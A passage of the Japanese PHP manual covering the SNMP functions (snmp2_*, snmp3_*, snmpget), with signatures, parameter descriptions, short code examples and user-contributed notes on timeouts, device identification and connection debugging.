snmp2_get ( string $hostname , string $community , array|string $object_id , int $timeout = -1 , int $retries = -1 ) : stdClass|array|string|bool

snmp2_get() 関数は、 object_id で指定した SNMP オブジェクトの値を取得します。

パラメータ

hostname

SNMP エージェント。

community

リードコミュニティ。

object_id

SNMP オブジェクト。

timeout

最初のタイムアウトまでのマイクロ秒数。

retries

タイムアウト発生時の再試行回数。

返り値

成功した場合に SNMP オブジェクトの値、エラー時に false を返します。

例

例1 snmp2_get() の使用法

<?php
$syscontact = snmp2_get("127.0.0.1", "public", "system.SysContact.0");
?>

参考

  • snmp2_set() - SNMP オブジェクトの値を設定する

User Contributed Notes

There are no user contributed notes for this page.


指定したオブジェクト ID に続く SNMP オブジェクトを取得する

  • ≪ snmp2_get
  • snmp2_real_walk ≫
  • PHP Manual
  • SNMP 関数
  • 指定したオブジェクト ID に続く SNMP オブジェクトを取得する

snmp2_getnext

(PHP >= 5.2.0, PHP 7, PHP 8)

snmp2_getnext — 指定したオブジェクト ID に続く SNMP オブジェクトを取得する

説明

snmp2_getnext ( string $hostname , string $community , array|string $object_id , int $timeout = -1 , int $retries = -1 ) : stdClass|array|string|bool

snmp2_get_next() 関数は、 object_id で指定したオブジェクトに続く SNMP オブジェクトの値を取得します。

パラメータ

hostname

SNMP エージェント (サーバー) のホスト名。

community

リードコミュニティ。

object_id

前にある SNMP オブジェクトの ID。

timeout

最初のタイムアウトまでのマイクロ秒数。

retries

タイムアウト発生時の再試行回数。

返り値

成功した場合に SNMP オブジェクトの値、エラー時に false を返します。 エラー時には E_WARNING が発生します。

例

例1 snmp2_get_next() の使用法

<?php
$nameOfSecondInterface = snmp2_get_next('localhost', 'public', 'IF-MIB::ifName.1';
?>

参考

  • snmp2_get() - SNMP オブジェクトを取得する
  • snmp2_walk() - すべての SNMP オブジェクトをエージェントから取得する

User Contributed Notes

There are no user contributed notes for this page.


指定したすべてのオブジェクトとそのオブジェクト ID を返す

  • ≪ snmp2_getnext
  • snmp2_set ≫
  • PHP Manual
  • SNMP 関数
  • 指定したすべてのオブジェクトとそのオブジェクト ID を返す

snmp2_real_walk

(PHP >= 5.2.0, PHP 7, PHP 8)

snmp2_real_walk — 指定したすべてのオブジェクトとそのオブジェクト ID を返す

説明

snmp2_real_walk ( string $hostname , string $community , array|string $object_id , int $timeout = -1 , int $retries = -1 ) : array|bool

snmp2_real_walk() 関数は、 object_id から始まる SNMP オブジェクトを走査し、その値とオブジェクト ID を返します。

パラメータ

hostname

SNMP エージェント (サーバー) のホスト名。

community

リードコミュニティ。

object_id

前にある SNMP オブジェクト ID。

timeout

最初のタイムアウトまでのマイクロ秒数。

retries

タイムアウト発生時の再試行回数。

返り値

成功した場合に SNMP オブジェクト ID とその値の連想配列。エラー時に false を返します。 エラー時には E_WARNING が発生します。

例

例1 snmp2_real_walk() の使用法

<?php
 print_r(snmp2_real_walk("localhost", "public", "IF-MIB::ifName"));
?>

上の例の結果は次のようになります。

    Array
      (
      [IF-MIB::ifName.1] => STRING: lo
      [IF-MIB::ifName.2] => STRING: eth0
      [IF-MIB::ifName.3] => STRING: eth2
      [IF-MIB::ifName.4] => STRING: sit0
      [IF-MIB::ifName.5] => STRING: sixxs
    )

参考

  • snmp2_walk() - すべての SNMP オブジェクトをエージェントから取得する

User Contributed Notes

mike dot mackintosh at angrystatic dot com 16-Sep-2011 11:24
Remember that the timeout includes trip time for transport, so setting it too low and sending it across the country will time out and return a 'No response from x.x.x.x'


SNMP オブジェクトの値を設定する

  • ≪ snmp2_real_walk
  • snmp2_walk ≫
  • PHP Manual
  • SNMP 関数
  • SNMP オブジェクトの値を設定する

snmp2_set

(PHP >= 5.2.0, PHP 7, PHP 8)

snmp2_set — SNMP オブジェクトの値を設定する

説明

snmp2_set ( string $hostname , string $community , array|string $object_id , array|string $type , array|string $value , int $timeout = -1 , int $retries = -1 ) : array|bool

snmp2_set() は、 object_id で指定した SNMP オブジェクトの値を設定します。

パラメータ

hostname

SNMP エージェント (サーバー) のホスト名。

community

ライトコミュニティ。

object_id

SNMP オブジェクト ID。

type

MIB は、オブジェクトIDごとのタイプを定義します。 これは、以下の一覧から指定される一文字でなければなりません。

types
= MIBから取得するタイプ
i | INTEGER
u | INTEGER
s | STRING
x | HEX STRING
d | DECIMAL STRING
n | NULLOBJ
o | OBJID
t | TIMETICKS
a | IPADDRESS
b | BITS

SNMP ライブラリをコンパイルする際、 OPAQUE_SPECIAL_TYPES が定義されていた場合、 以下も正しい値になります:

types
U | unsigned int64
I | signed int64
F | float
D | double

これらの大半は、対応する ASN.1 の型を使います。's', 'x', 'd' および 'b' はどれも OCTET STRING を異なる方法で表したものであり、'u' も Gauge32 値を扱うためのものです。

MIB ファイルが "snmp_read_mib" や libsnmp の設定で MIB ツリーに読み込まれている場合は、 type に '=' を使うことができます。 これはすべてのオブジェクト ID を表し、型は自動的に MIB から読み込みます。

"SYNTAX BITS {telnet(0), ftp(1), http(2), icmp(3), snmp(4), ssh(5), https(6)}" のような BITS 型の値変数を設定する方法は二通りあることに注意しましょう。

  • 型として "b" を使い、ビット番号の一覧を指定する。この方法はおすすめしません。 同じ OID に対して GET クエリを実行しても 0xF8 などを返すからです。
  • Using type "x" and a hex number but without(!) the usual "0x" prefix. 型として "x" を使い、通常のプレフィックス "0x" をつけずに(!) 16 進数を指定する。

詳細は、サンプルを参照ください。

value

新しい値。

timeout

最初のタイムアウトまでのマイクロ秒数。

retries

タイムアウト発生時の再試行回数。

返り値

成功した場合に true を、失敗した場合に false を返します。

SNMP ホストがデータ型を却下すると、"Warning: Error in packet. Reason: (badValue) The value given has the wrong type or length." のような' E_WARNING メッセージが表示されます。未知の OID あるいは無効な OID を指定した場合は、おそらく "Could not add variable" のような警告となります。

例

例1 snmp2_set() の使用法

<?php
  snmp2_set("localhost", "public", "IF-MIB::ifAlias.3", "s", "foo");
?>

例2 BITS SNMP オブジェクト ID を設定した snmp2_set() の使用法

<?php
  snmp2_set("localhost", "public", 'FOO-MIB::bar.42', 'b', '0 1 2 3 4');
// あるいは
  snmp2_set("localhost", "public", 'FOO-MIB::bar.42', 'x', 'F0');
?>

参考

  • snmp2_get() - SNMP オブジェクトを取得する

User Contributed Notes

jhuebel at gmail dot com 15-Dec-2010 09:31
The "type" parameter must be one of the following, depending on the type of variable to set on the SNMP host:

i    INTEGER
u    unsigned INTEGER
t    TIMETICKS
a    IPADDRESS
o    OBJID
s    STRING
x    HEX STRING
d    DECIMAL STRING

If OPAQUE_SPECIAL_TYPES was defined while compiling the SNMP library, the following are also valid:

U    unsigned int64
I    signed int64
F    float
D    double


すべての SNMP オブジェクトをエージェントから取得する

  • ≪ snmp2_set
  • snmp3_get ≫
  • PHP Manual
  • SNMP 関数
  • すべての SNMP オブジェクトをエージェントから取得する

snmp2_walk

(PHP >= 5.2.0, PHP 7, PHP 8)

snmp2_walk — すべての SNMP オブジェクトをエージェントから取得する

説明

snmp2_walk ( string $hostname , string $community , array|string $object_id , int $timeout = -1 , int $retries = -1 ) : array|bool

snmp2_walk() は、 hostname で指定した SNMP エージェントからすべての値を読み込みます。

パラメータ

hostname

SNMP エージェント (サーバー)。

community

リードコミュニティ。

object_id

null の場合は object_id は SNMP オブジェクトツリーのルートとなり、 ツリー配下のすべてのオブジェクトを配列で返します。

object_id を指定すると、 その object_id 以下のすべての SNMP オブジェクトを返します。

timeout

最初のタイムアウトまでのマイクロ秒数。

retries

タイムアウト発生時の再試行回数。

返り値

object_id をルートとするすべての SNMP オブジェクトの値の配列、あるいはエラー時に false を返します。

例

例1 snmp2_pwalk() の例

<?php
$a = snmp2_walk("127.0.0.1", "public", "");

foreach ($a as $val) {
    echo "$val\n";
}

?>

この例は、ローカルホストで動作している SNMP エージェントからすべての SNMP オブジェクトを返します。 この値をループで順次処理することができます。

参考

  • snmp2_real_walk() - 指定したすべてのオブジェクトとそのオブジェクト ID を返す

User Contributed Notes

Ypera123 at gmail dot com 16-Jan-2017 01:21
Honestly not that important but there's a spelling error in Example #1: "Snm2_pwalk"
Best to fix it so it doesn't confuse.
Adam 09-Apr-2012 03:26
After some testing, I have found that SNMPWalk is considerably slower than multiple SNMPGet.

I was aiming to retrieve 6 Objects from a MIB; the device being polled was attached via a 100mbps network link.
I decided to run SNMPGet within a loop to retrieve each Object from the specified OID's.
As these OID's were within the same tree, I then thought about using walk as this would consolidate the data into a single request. I then walked the tree to get the same result.

I subsequently testing the time it took to retrieve this information via microtime().
As a result, you can retrieve 1 walk containing 6 OID's within the same time as requesting 18 OIDs via get.

I hope this helps someone whom is looking to speed up their SNMP requests.


SNMP オブジェクトを取得する

  • ≪ snmp2_walk
  • snmp3_getnext ≫
  • PHP Manual
  • SNMP 関数
  • SNMP オブジェクトを取得する

snmp3_get

(PHP 4, PHP 5, PHP 7, PHP 8)

snmp3_get — SNMP オブジェクトを取得する

説明

snmp3_get ( string $hostname , string $security_name , string $security_level , string $auth_protocol , string $auth_passphrase , string $privacy_protocol , string $privacy_passphrase , array|string $object_id , int $timeout = -1 , int $retries = -1 ) : stdClass|array|string|bool

snmp3_get() 関数は、 object_id で指定した SNMP オブジェクトの値を取得します。

パラメータ

hostname

SNMP エージェント (サーバー) のホスト名。

security_name

セキュリティ名。通常はユーザー名のようなもの。

security_level

セキュリティレベル (noAuthNoPriv|authNoPriv|authPriv)。

auth_protocol

認証プロトコル (MD5 あるいは SHA)。

auth_passphrase

認証パスフレーズ。

privacy_protocol

プライバシープロトコル (DES あるいは AES)。

privacy_passphrase

プライバシーパスフレーズ。

object_id

SNMP オブジェクト ID。

timeout

最初のタイムアウトまでのマイクロ秒数。

retries

タイムアウト発生時の再試行回数。

返り値

成功した場合に SNMP オブジェクトの値、エラー時に false を返します。

例

例1 snmp3_get() の使用法

<?php
$nameOfSecondInterface = snmp3_get('localhost', 'james', 'authPriv', 'SHA', 'secret007', 'AES', 'secret007', 'IF-MIB::ifName.2');
?>

参考

  • snmp3_set() - SNMP オブジェクトの値を設定する

User Contributed Notes

There are no user contributed notes for this page.


指定したオブジェクト ID に続く SNMP オブジェクトを取得する

  • ≪ snmp3_get
  • snmp3_real_walk ≫
  • PHP Manual
  • SNMP 関数
  • 指定したオブジェクト ID に続く SNMP オブジェクトを取得する

snmp3_getnext

(PHP 5, PHP 7, PHP 8)

snmp3_getnext — 指定したオブジェクト ID に続く SNMP オブジェクトを取得する

説明

snmp3_getnext ( string $hostname , string $security_name , string $security_level , string $auth_protocol , string $auth_passphrase , string $privacy_protocol , string $privacy_passphrase , array|string $object_id , int $timeout = -1 , int $retries = -1 ) : stdClass|array|string|bool

snmp3_getnext() 関数は、 object_id で指定したオブジェクトに続く SNMP オブジェクトの値を取得します。

パラメータ

hostname

SNMP エージェント (サーバー) のホスト名。

security_name

セキュリティ名。通常はユーザー名のようなもの。

security_level

セキュリティレベル (noAuthNoPriv|authNoPriv|authPriv)。

auth_protocol

認証プロトコル (MD5 あるいは SHA)。

auth_passphrase

認証パスフレーズ。

privacy_protocol

プライバシープロトコル (DES あるいは AES)。

privacy_passphrase

プライバシーパスフレーズ。

object_id

SNMP オブジェクト ID。

timeout

最初のタイムアウトまでのマイクロ秒数。

retries

タイムアウト発生時の再試行回数。

返り値

成功した場合に SNMP オブジェクトの値、エラー時に false を返します。 エラー時には E_WARNING が発生します。

例

例1 snmp3_getnext() の使用法

<?php
$nameOfSecondInterface = snmp3_getnext('localhost', 'james', 'authPriv', 'SHA', 'secret007', 'AES', 'secret007', 'IF-MIB::ifName.1');
?>

参考

  • snmp3_get() - SNMP オブジェクトを取得する
  • snmp3_walk() - すべての SNMP オブジェクトをエージェントから取得する

User Contributed Notes

There are no user contributed notes for this page.


指定したすべてのオブジェクトとそのオブジェクト ID を返す

  • ≪ snmp3_getnext
  • snmp3_set ≫
  • PHP Manual
  • SNMP 関数
  • 指定したすべてのオブジェクトとそのオブジェクト ID を返す

snmp3_real_walk

(PHP 4, PHP 5, PHP 7, PHP 8)

snmp3_real_walk — 指定したすべてのオブジェクトとそのオブジェクト ID を返す

説明

snmp3_real_walk ( string $hostname , string $security_name , string $security_level , string $auth_protocol , string $auth_passphrase , string $privacy_protocol , string $privacy_passphrase , array|string $object_id , int $timeout = -1 , int $retries = -1 ) : array|bool

snmp3_real_walk() 関数は、 object_id から始まる SNMP オブジェクトを走査し、その値とオブジェクト ID を返します。

パラメータ

hostname

SNMP エージェント (サーバー) のホスト名。

security_name

セキュリティ名。通常はユーザー名のようなもの。

security_level

セキュリティレベル (noAuthNoPriv|authNoPriv|authPriv)。

auth_protocol

認証プロトコル (MD5 あるいは SHA)。

auth_passphrase

認証パスフレーズ。

privacy_protocol

プライバシープロトコル (DES あるいは AES)。

privacy_passphrase

プライバシーパスフレーズ。

object_id

SNMP オブジェクト ID。

timeout

最初のタイムアウトまでのマイクロ秒数。

retries

タイムアウト発生時の再試行回数。

返り値

成功した場合に SNMP オブジェクト ID とその値の連想配列。エラー時に false を返します。 エラー時には E_WARNING が発生します。

例

例1 snmp3_real_walk() の使用法

<?php
 var_export(snmp3_real_walk('localhost', 'james', 'authPriv', 'SHA', 'secret007', 'AES', 'secret007', 'IF-MIB::ifName'));
?>

上の例の結果は次のようになります。

array (
  'IF-MIB::ifName.1' => 'STRING: lo',
  'IF-MIB::ifName.2' => 'STRING: eth0',
  'IF-MIB::ifName.3' => 'STRING: eth2',
  'IF-MIB::ifName.4' => 'STRING: sit0',
  'IF-MIB::ifName.5' => 'STRING: sixxs',
)

参考

  • snmpwalk() - エージェントから全ての SNMP オブジェクトを取得する

User Contributed Notes

Anonymous 26-Jul-2012 10:14
Use this function for debug snmp-connection.

<?php
error_reporting(8191);
date_default_timezone_set('Europe/Moscow');
ini_set('display_errors',1);

snmp_test_connection('12.34.56.78', 'guest', 'guest')

function snmp_test_connection($ip, $user, $pass){
    $a = array('noAuthNoPriv','authNoPriv','authPriv');
    $b = array('MD5','SHA');
    $c = array('DES','AES');

    $branch    = '.1.3.6.1.2.1.1.3'; // upTime

    foreach($a as $aPriv)
        foreach($b as $bProt)
            foreach($c as $cPrivProt){
                echo 'time = '.date('Y-m-d H:i:s').'<br/>';
                echo '<b>sec_level=</b>'.$aPriv.'<br/><b>auth_protocol=</b>'.$bProt.'<br/><b>priv_protocol=</b>'.$cPrivProt.'<br/>Request = ';
                var_dump(
                    snmp3_real_walk($ip, $user, $aPriv, $bProt, $pass, $cPrivProt, $pass, $branch)
                );
            }
}

?>


SNMP オブジェクトの値を設定する

  • ≪ snmp3_real_walk
  • snmp3_walk ≫
  • PHP Manual
  • SNMP 関数
  • SNMP オブジェクトの値を設定する

snmp3_set

(PHP 4, PHP 5, PHP 7, PHP 8)

snmp3_set — SNMP オブジェクトの値を設定する

説明

snmp3_set ( string $hostname , string $security_name , string $security_level , string $auth_protocol , string $auth_passphrase , string $privacy_protocol , string $privacy_passphrase , array|string $object_id , array|string $type , array|string $value , int $timeout = -1 , int $retries = -1 ) : array|bool

snmp3_set() は、 object_id で指定した SNMP オブジェクトの値を設定します。

セキュリティレベルに auth や priv を使っていなくても、 protocol/password には有効な値を指定しなくてはなりません。

パラメータ

hostname

SNMP エージェント (サーバー) のホスト名。

security_name

セキュリティ名。通常はユーザー名のようなもの。

security_level

セキュリティレベル (noAuthNoPriv|authNoPriv|authPriv)。

auth_protocol

認証プロトコル (MD5 あるいは SHA)。

auth_passphrase

認証パスフレーズ。

privacy_protocol

プライバシープロトコル (DES あるいは AES)。

privacy_passphrase

プライバシーパスフレーズ。

object_id

SNMP オブジェクト ID。

type

MIB は、オブジェクトIDごとのタイプを定義します。 これは、以下の一覧から指定される一文字でなければなりません。

types
= MIBから取得するタイプ
i | INTEGER
u | INTEGER
s | STRING
x | HEX STRING
d | DECIMAL STRING
n | NULLOBJ
o | OBJID
t | TIMETICKS
a | IPADDRESS
b | BITS

SNMP ライブラリをコンパイルする際、 OPAQUE_SPECIAL_TYPES が定義されていた場合、 以下も正しい値になります:

types
U | unsigned int64
I | signed int64
F | float
D | double

これらの大半は、対応する ASN.1 の型を使います。's', 'x', 'd' および 'b' はどれも OCTET STRING を異なる方法で表したものであり、'u' も Gauge32 値を扱うためのものです。

MIB ファイルが "snmp_read_mib" や libsnmp の設定で MIB ツリーに読み込まれている場合は、 type に '=' を使うことができます。 これはすべてのオブジェクト ID を表し、型は自動的に MIB から読み込みます。

"SYNTAX BITS {telnet(0), ftp(1), http(2), icmp(3), snmp(4), ssh(5), https(6)}" のような BITS 型の値変数を設定する方法は二通りあることに注意しましょう。

  • 型として "b" を使い、ビット番号の一覧を指定する。この方法はおすすめしません。 同じ OID に対して GET クエリを実行しても 0xF8 などを返すからです。
  • Using type "x" and a hex number but without(!) the usual "0x" prefix. 型として "x" を使い、通常のプレフィックス "0x" をつけずに(!) 16 進数を指定する。

詳細は、サンプルを参照ください。

value

新しい値。

timeout

最初のタイムアウトまでのマイクロ秒数。

retries

タイムアウト発生時の再試行回数。

返り値

成功した場合に true を、失敗した場合に false を返します。

SNMP ホストがデータ型を却下すると、"Warning: Error in packet. Reason: (badValue) The value given has the wrong type or length." のような' E_WARNING メッセージが表示されます。未知の OID あるいは無効な OID を指定した場合は、おそらく "Could not add variable" のような警告となります。

例

例1 snmp3_set() の使用法

<?php
  snmp3_set('localhost', 'james', 'authPriv', 'SHA', 'secret007', 'AES', 'secret007', 'IF-MIB::ifAlias.3', 's', "foo");
?>

例2 BITS SNMP オブジェクト ID を設定した snmp3_set() の使用法

<?php
  snmp3_set('localhost', 'james', 'authPriv', 'SHA', 'secret007', 'AES', 'secret007', 'FOO-MIB::bar.42', 'b', '0 1 2 3 4');
// あるいは
  snmp3_set('localhost', 'james', 'authPriv', 'SHA', 'secret007', 'AES', 'secret007', 'FOO-MIB::bar.42', 'x', 'F0');
?>

User Contributed Notes

There are no user contributed notes for this page.


すべての SNMP オブジェクトをエージェントから取得する

  • ≪ snmp3_set
  • snmpget ≫
  • PHP Manual
  • SNMP 関数
  • すべての SNMP オブジェクトをエージェントから取得する

snmp3_walk

(PHP 4, PHP 5, PHP 7, PHP 8)

snmp3_walk — すべての SNMP オブジェクトをエージェントから取得する

説明

snmp3_walk ( string $hostname , string $security_name , string $security_level , string $auth_protocol , string $auth_passphrase , string $privacy_protocol , string $privacy_passphrase , array|string $object_id , int $timeout = -1 , int $retries = -1 ) : array|bool

snmp3_walk() 関数は、 hostname で指定した SNMP エージェントからすべての値を読み込みます。

セキュリティレベルに auth や priv を使っていなくても、 protocol/password には有効な値を指定しなくてはなりません。

パラメータ

hostname

SNMP エージェント (サーバー) のホスト名。

security_name

セキュリティ名。通常はユーザー名のようなもの。

security_level

セキュリティレベル (noAuthNoPriv|authNoPriv|authPriv)。

auth_protocol

認証プロトコル (MD5 あるいは SHA)。

auth_passphrase

認証パスフレーズ。

privacy_protocol

プライバシープロトコル (DES あるいは AES)。

privacy_passphrase

プライバシーパスフレーズ。

object_id

null の場合は object_id は SNMP オブジェクトツリーのルートとなり、 ツリー配下のすべてのオブジェクトを配列で返します。

object_id を指定すると、 その object_id 以下のすべての SNMP オブジェクトを返します。

timeout

最初のタイムアウトまでのマイクロ秒数。

retries

タイムアウト発生時の再試行回数。

返り値

object_id をルートとするすべての SNMP オブジェクトの値の配列、あるいはエラー時に false を返します。

例

例1 snmp3_walk() の例

<?php
$ret = snmp3_walk('localhost', 'james', 'authPriv', 'SHA', 'secret007', 'AES', 'secret007', 'IF-MIB::ifName');
var_export($ret);
?>

上の関数コールは、ローカルホストで動作している SNMP エージェントからすべての SNMP オブジェクトを返します。

array (
  0 => 'STRING: lo',
  1 => 'STRING: eth0',
  2 => 'STRING: eth2',
  3 => 'STRING: sit0',
  4 => 'STRING: sixxs',
)

参考

  • snmp3_real_walk() - 指定したすべてのオブジェクトとそのオブジェクト ID を返す

User Contributed Notes

There are no user contributed notes for this page.


SNMP オブジェクトを取得する

  • ≪ snmp3_walk
  • snmpgetnext ≫
  • PHP Manual
  • SNMP 関数
  • SNMP オブジェクトを取得する

snmpget

(PHP 4, PHP 5, PHP 7, PHP 8)

snmpget — SNMP オブジェクトを取得する

説明

snmpget ( string $hostname , string $community , array|string $object_id , int $timeout = -1 , int $retries = -1 ) : stdClass|array|string|bool

snmpget() は object_id で指定した SNMP オブジェクトの値を読みとるために使用されます。

パラメータ

hostname

SNMP エージェント。

community

リードコミュニティ。

object_id

SNMP オブジェクト。

timeout

最初のタイムアウトまでのマイクロ秒数。

retries

タイムアウトが発生したときの再試行の回数。

返り値

成功した場合に SNMP オブジェクトの値、失敗した場合に false を返します。

例

例1 snmpget() の使用例

<?php
$syscontact = snmpget("127.0.0.1", "public", "system.SysContact.0");
?>

参考

  • snmpset() - SNMP オブジェクトの値を設定する

User Contributed Notes

maxie_ro at do dot not dot spam dot yahoo dot com 25-Jun-2009 06:23
This function can be used to identify devices on a network, by getting their sysObjectID and sysDescr. On short, this is what I did:
<?php
   $sysid = @snmpget($ip, 'public', '.1.3.6.1.2.1.1.2.0', 300);
   if($sysid) {
      $sysdescr = @snmpget($ip, 'public', '.1.3.6.1.2.1.1.1.0', 300);
   }
?>

What I get for equipments, for example:
<?php
   $sysid = 'OID: .iso.3.6.1.4.1.5003.8.1.1.57';// => AudioCodes MP114;
   //.iso.3.6.1.4.1. is a "prefix" for the OID domain
   //5003 is the IANA number for AudioCodes
   //8.1.1.57 identifies the equipment type (MP-114)
   $sysdescr = '"Product: MP-114 FXS;SW Version: 5.00A.024"';
?>
Unfortunately, not all of them report correct objectID, for example they report only the vendor and stop there etc.

In case you are wondering why I used the code '.1.3.6.1.2.1.1.2.0' in the function call instead of "sysObjectID.0", it's because only numeric codes seem to work on Windows. For more codes, google "cisco SNMP Object Navigator".
Have fun.
d dot shereck at gmail dot com 19-Nov-2008 03:24
For those wishing to use v2 or 3

you can consult the php_snmp.h header
here is the list of functions

PHP_FUNCTION(snmpget);
PHP_FUNCTION(snmpgetnext);
PHP_FUNCTION(snmpwalk);
PHP_FUNCTION(snmprealwalk);
PHP_FUNCTION(snmp_get_quick_print);
PHP_FUNCTION(snmp_set_quick_print);
PHP_FUNCTION(snmp_set_enum_print);
PHP_FUNCTION(snmp_set_oid_output_format);
PHP_FUNCTION(snmpset);

PHP_FUNCTION(snmp2_get);
PHP_FUNCTION(snmp2_getnext);
PHP_FUNCTION(snmp2_walk);
PHP_FUNCTION(snmp2_real_walk);
PHP_FUNCTION(snmp2_set);

PHP_FUNCTION(snmp3_get);
PHP_FUNCTION(snmp3_getnext);
PHP_FUNCTION(snmp3_walk);
PHP_FUNCTION(snmp3_real_walk);
PHP_FUNCTION(snmp3_set);

PHP_FUNCTION(snmp_set_valueretrieval);
PHP_FUNCTION(snmp_get_valueretrieval);
ac221 at sussex dot ac dot uk 24-Nov-2007 01:49
Some SNMP agents return mac addresses as hex encoded ascii.

e.g. '30:30:3a:31:37:3a:66:32:3a:39:62:3a:34:36:3a:30:65'

Each octet represents 4 bits of the mac address.
Some vendors may also encode the separators into the string.

Heres a function to convert these strings back into plain hex.

<?php
$hexStr = '30:30:3a:31:37:3a:66:32:3a:39:62:3a:34:36:3a:30:65';

echo(str_replace(':','',hexStr2Ascii($hexStr)));

function hexStr2Ascii($hexStr,$separator = ':'){
    $hexStrArr = explode($separator,$hexStr);
    $asciiOut = null;
    foreach($hexStrArr as $octet){
        $asciiOut .= chr(hexdec($octet));
    }
    return $asciiOut;
}
?>

Outputs: '0017f29b460e'
brunoseys at telenet dot be 02-Oct-2007 04:22
According the SNMPv2-MIB DEFINITIONS the right syntax should be "system.sysContact.0" and NOT "system.SysContact.0" as used in the above example 2251.

SNMPv2-MIB DEFINITIONS
...
sysContact OBJECT-TYPE
SYNTAX DisplayString (SIZE (0..255))
MAX-ACCESS read-write
STATUS current
DESCRIPTION
"The textual identification of the contact person for this
managed node, together with information on how to contact
this person. If no contact information is known, the
value
is the zero-length string."
::= { system 4 }
Malaka Udawatta (malaka13 at gmail dot com) 19-Sep-2007 05:17
When I try to get a 64 bit counter variable (e.g. ifHCInOctets) using snmpget function, following error message was appeared.

Error in packet: (noSuchName) There is no such variable name in this MIB

The solution for this is to use snmp2_get(); function. The prameters are same as snmpget();
Eduardo 12-Apr-2007 12:30
The online documentation says that the function returns "FALSE" on error but, actually, it returns NULL on error.
tridman 21-Nov-2006 02:48
The timeout is in micro seconds. Thus 1.000.000 means 1 Second.
michael dot mauch at gmx dot de 10-Nov-2006 09:07
I have no idea what the timeout value is, but 1 second is really really 1 000 000 000 nano seconds (cf. http://en.wikipedia.org/wiki/SI_prefix).
fbleau 11-Jul-2006 11:15
The default value of Timeout is 1000000  nanoseconde (1 sec) and the retrie is 5 thsi value is set by Net-SNMP library.

#!/usr/local/bin/php
<?php
 $time_start = microtime(true);
 $reponse = snmpget('10.5.1.1', 'public', "1.3.6.1.2.1.1.3.0",1000000,5);
 $time_end = microtime(true);
 $time = $time_end - $time_start;

 echo "Delay in $time secondes\n";
?>
Jim 14-May-2006 07:52
Unfortunately, It appears that you can not put multiple objects into the snmpget function, ie: sysUpTime.0 ifInOctets.1 ifOutOctets.1.  For what it's worth, the time argument is in nano-seconds as previously mentioned.  There is a lot of conflicting information out there about this.
dstjohn-NO-SPAM at mediacast1 dot com 11-Sep-2005 02:16
2 year tidbit update :)

<?php
// author: dstjohn at mediacast1.com
// updated: 09-11-2005
// set some vars
$snmpcommunity = 'PUBLIC'; //snmp community name
$ips = 'test1.com,test2.com'; //ips or dns to get snmp data from
$system_number = '1';
//end da vars

//start da loop d loop
for ($i = 0; $i <= $system_number; $i++) {
$sysip = explode(",",$ips);

//get system name
$sysname[0] = snmpget($sysip[$i], $snmpcommunity, "sysName.0");
$sysname[1] = eregi_replace("STRING:","",$sysname[0]);
echo 'System Name: '.$sysname[1].'<br>';

//system description
$sysdesc[0] = snmpget($sysip[$i], $snmpcommunity, "sysDescr.0");
$sysdesc[1] = eregi_replace("STRING:","",$sysdesc[0]);
echo 'System Description: '.$sysdesc[1].'<br>';

//system location
$sysloc[0] = snmpget($sysip[$i], $snmpcommunity, "sysLocation.0");
$sysloc[1] = eregi_replace("STRING:","",$sysloc[0]);
echo 'System Location: '.$sysloc[1].'<br>';

//current tcp connections
$tcpcons[0] = snmpget($sysip[$i], $snmpcommunity, "tcpCurrEstab.0");
$tcpcons[1] = eregi_replace("Gauge32:","",$tcpcons[0]);
echo 'Open TCP/IP Connections: '.$tcpcons[1].'<br>';

//get system uptime
$sysuptime[0] = snmpget($sysip[$i], $snmpcommunity, "system.sysUpTime.0");
$sysuptime[1] = eregi_replace("Timeticks:","",$sysuptime[0]);
echo 'System Uptime: Timeticks -'.$sysuptime[1].'<br>';

//windows only
//installed memory
if(eregi('Windows',$sysdesc[1])){
$mem[0] = snmpget($sysip[$i], $snmpcommunity, "HOST-RESOURCES-MIB::hrMemorySize.0");
$mem[1] = eregi_replace("INTEGER:","",$mem[0]);
$mem[2] = eregi_replace("KBytes","",$mem[1]);
echo 'Insalled Memory: '.$mem[2].' KiloBytes<br>';
}

echo '<br><br>';
}//end loop

?>
Johann Glaser 22-Feb-2004 12:39
It seems that for each snmpget() its own socket() will be opened. This is not closed after snmpget() finishes. Neither existing sockets are reused by subsequent snmpget() calls.

When querying a few switches with lots of ports the maximum file descriptor count of Apache is exhausted. Thus no more snmpget() are possible. Additionaly no more files can be read by this particular Apache process. Neither the PHP file, any include files nor any other files (like a .css file, ...).

This probably explains the observation of tkjode at phalnet dot com. Different to his case is that I'm using Linux.
dstjohn-NO-SPAM at mediacast1 dot com 22-Sep-2003 07:53
Little tidbit for snmpget function

<?php
//snmpget system stats
$host = 'localhost';
$community = 'public';

//get system name
$sysname = snmpget($host, $community, "system.sysName.0");

//get system uptime
$sysup = snmpget($host, $community, "system.sysUpTime.0");
$sysupre = eregi_replace("([0-9]{3})","",$sysup);
$sysupre2 = eregi_replace("Timeticks:","",$sysupre);
$sysupre3 = eregi_replace("[()]","",$sysupre2);

//get tcp connections
$tcpcon = snmpget($host, $community,"tcp.tcpCurrEstab.0");
$tcpconre = eregi_replace("Gauge32:","",$tcpcon);

echo '
System Name: '.$sysname.'<br>
System Uptime: '.$sysupre3.'<br>
Current Tcp Connections: '.$tcpconre.'<br>';

?>
javierb at gmx dot net 04-Jun-2003 08:08
pooling a cisco.

$ip = '1.1.1.1';
$community ='publico';
$a = snmpget($ip,$community, "IF-MIB::ifLastChange.1")
$b = snmpget($ip,$community, "IF-MIB::ifAlias.1");
print("a = ".$a."\n"."b = ".$b."\n");

a = Timeticks: (929969969) 107 days, 15:14:59.69
b = Timeticks: (929969969) 107 days, 15:14:59.69

when the interface has not description.
tkjode at phalnet dot com 12-Feb-2002 11:49
It has been observed on NT/2000 systems that flooding devices with SNMP requests will cause NT's SNMP service to stop working.

For example, I polled 183 switches on our network just fine.  I then attempted to simulate heavy traffic to that page by refreshing and breaking connections (as any real world system would have to go through).  SNMP stopped working throughout the entire machine, including non-PHP/Webserver processes.
grice at berbee dot com 24-Aug-2000 04:05
It looks like you can use a non-standard port for SNMP
with something like this:

$foo = snmpwalk('foo.bar.com:1161', 'foofoo', '.1.3.6');

This is on PHP 3.16; I haven't managed to get PHP 4.02 to compile successfully on Solaris 2.6 yet.
--Michael


指定したオブジェクト ID に続く SNMP オブジェクトを取得する

  • ≪ snmpget
  • snmprealwalk ≫
  • PHP Manual
  • SNMP 関数
  • 指定したオブジェクト ID に続く SNMP オブジェクトを取得する

snmpgetnext

(PHP 5, PHP 7, PHP 8)

snmpgetnext — 指定したオブジェクト ID に続く SNMP オブジェクトを取得する

説明

snmpgetnext ( string $hostname , string $community , array|string $object_id , int $timeout = -1 , int $retries = -1 ) : stdClass|array|string|bool

